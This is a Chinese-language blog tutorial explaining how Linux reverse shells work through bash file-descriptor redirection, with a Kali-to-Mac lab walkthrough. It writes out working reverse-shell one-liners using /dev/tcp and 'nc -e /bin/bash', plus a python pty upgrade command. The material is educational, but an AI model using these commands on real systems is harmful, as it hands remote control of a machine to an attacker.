linux+反弹shell原理,linux反弹shell的原理详解

完整命令

反弹shell命令:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

bash -i > /dev/tcp/ip/port 0>&1 2>&1

利用nc反弹shell:

nc -lvvp 12345 -t -e /bin/bash

原理

bash -i > /dev/tcp/ip/port 0>&1 2>&1

bash -i 打开一个交互式的bash

&是为了区分文件1和文件描述符1的

a>&b 的意思是 a>b 2>&1

0代表输入 ,0>&1 意思是,将输出的窗口上所输入的值当作当前窗口的输入。反弹shell后会有两个窗口,即靶机的shell窗口跟攻击机的shell口。这命令的意思也可以理解为,将攻击机窗口的输入当作靶机窗口的输入最终输入给靶机。2代表标准错误输出。

实验

通过一个小实验帮助大家理解

第一步,将shell的正确输出重定向到外部主机

假设我们在kali上输入的命令为:

bash -i > /dev/tcp/192.168.124.1/9999,这句话的意思是将交互式shell的标准输出重定向到192.168.124.1的9999端口。

在mac上监听端口命令为:nc -l 9999

7932442dc8be3e310b3246c051de8dd1.png

首先在kali上输入whoami命令,发现没有回显,因为回显被重定向到了mac上。

58bd7610147f217aadaa6f479c342184.png

但是当我们在kali上出入错误命令的时候,却存在回显。

73b36a5b23da8225af0623e5ebbd4dd0.png

第二步,将错误输出重定向到外部主机

我们只需要在上面的命令后面加上 2>&1即可,意思为将错误输出重定向到标准输出上,也就是重定向到我们的外部主机。

40405a214deccc9d5ee67095c2cae356.png

这时候发现在kali上按键盘已经没有任何回显了,回显全部出现在了mac的shell上:

d4ae848427ea145d2cf3050c46b9bcc1.png

这是因为我们已经将所有的输出都重定向到了外部主机上,但问题是现在我们的控制权还在kali上,mac无法进行任何输出操作,只能显示输出。这时候我们几句需要将输入的权限给予我们的mac。

第三步,交出输入权限

只需要在第二步命令的基础上加上 0>&1即可。

66972cc3d7281b96b44df9dfda31fdb2.png

这时候已经可以在mac上完全控制kali的shell了,实验结束。

其他

当shell不稳定时候用python的虚拟化终端:

python -c "import pty;pty.spawn('/bin/bash')"

到此这篇关于linux反弹shell的原理详解的文章就介绍到这了,更多相关linux反弹shell内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

时间: 2020-10-14

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值